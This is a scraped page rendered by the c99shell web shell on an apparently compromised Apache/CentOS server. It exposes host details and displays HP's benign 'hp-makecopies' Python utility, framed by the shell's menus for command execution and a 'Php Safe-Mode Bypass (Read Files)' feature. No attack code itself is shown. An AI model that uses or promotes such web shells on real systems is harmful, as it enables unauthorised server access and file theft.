Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/bin/ drwxr-xr-x |
Viewing file: Select action/file-type: #!/usr/bin/env python # -*- coding: utf-8 -*- # # (c) Copyright 2003-2006 Hewlett-Packard Development Company, L.P. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # # Author: Don Welch # __version__ = '1.2' __title__ = "Make Copies Utility" __doc__ = "A GUI front end for making copies on all-in-ones and MFP devices." # Std Lib import sys, os, getopt, re, socket, Queue, time # Local from base.g import * from base.msg import * from base import utils, device, pml, service from copier import copier import base.async_qt as async from prnt import cups log.set_module('hp-makecopies') class makecopies_client(async.dispatcher): def __init__(self): async.dispatcher.__init__(self) self.create_socket(socket.AF_INET, socket.SOCK_STREAM) self.connect((prop.hpssd_host, prop.hpssd_port)) self.in_buffer = "" self.out_buffer = "" self.fields = {} self.data = '' self.error_dialog = None self.signal_exit = False # handlers for all the messages we expect to receive self.handlers = { 'eventgui' : self.handle_eventgui, 'unknown' : self.handle_unknown, 'exitguievent' : self.handle_exitguievent, } self.register_gui() def handle_read(self): log.debug("Reading data on channel (%d)" % self._fileno) log.debug(repr(self.in_buffer)) self.in_buffer = self.recv(prop.max_message_len) if self.in_buffer == '': return False remaining_msg = self.in_buffer while True: try: self.fields, self.data, remaining_msg = parseMessage(remaining_msg) except Error, e: log.debug(repr(self.in_buffer)) log.warn("Message parsing error: %s (%d)" % (e.opt, e.msg)) self.out_buffer = self.handle_unknown() log.debug(self.out_buffer) return True msg_type = self.fields.get('msg', 'unknown') log.debug("%s %s %s" % ("*"*40, msg_type, "*"*40)) log.debug(repr(self.in_buffer)) try: self.out_buffer = self.handlers.get(msg_type, self.handle_unknown)() except Error: log.error("Unhandled exception during processing") if len(self.out_buffer): # data is ready for send self.sock_write_notifier.setEnabled(True) if not remaining_msg: break return True def handle_write(self): if not len(self.out_buffer): return log.debug("Sending data on channel (%d)" % self._fileno) log.debug(repr(self.out_buffer)) try: sent = self.send(self.out_buffer) except: log.error("send() failed.") self.out_buffer = self.out_buffer[sent:] def writable(self): return not ((len(self.out_buffer) == 0) and self.connected) def handle_exitguievent(self): self.signal_exit = True if self.signal_exit: if makecopiesdlg is not None: makecopiesdlg.close() qApp.quit() return '' # EVENT def handle_eventgui(self): global makecopiesdlg try: job_id = self.fields['job-id'] event_code = self.fields['event-code'] event_type = self.fields['event-type'] retry_timeout = self.fields['retry-timeout'] lines = self.data.splitlines() error_string_short, error_string_long = lines[0], lines[1] device_uri = self.fields['device-uri'] log.debug("Event: %d '%s'" % (event_code, event_type)) makecopiesdlg.EventUI(event_code, event_type, error_string_short, error_string_long, retry_timeout, job_id, device_uri) except: log.exception() return '' def handle_unknown(self): return '' def handle_messageerror(self): return '' def handle_close(self): log.debug("closing channel (%d)" % self._fileno) self.connected = False async.dispatcher.close(self) def register_gui(self): out_buffer = buildMessage("RegisterGUIEvent", None, {'type': 'print', 'username': prop.username}) self.send(out_buffer) USAGE = [(__doc__, "", "name", True), ("Usage: hp-makecopies [PRINTER |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0059 ]-- |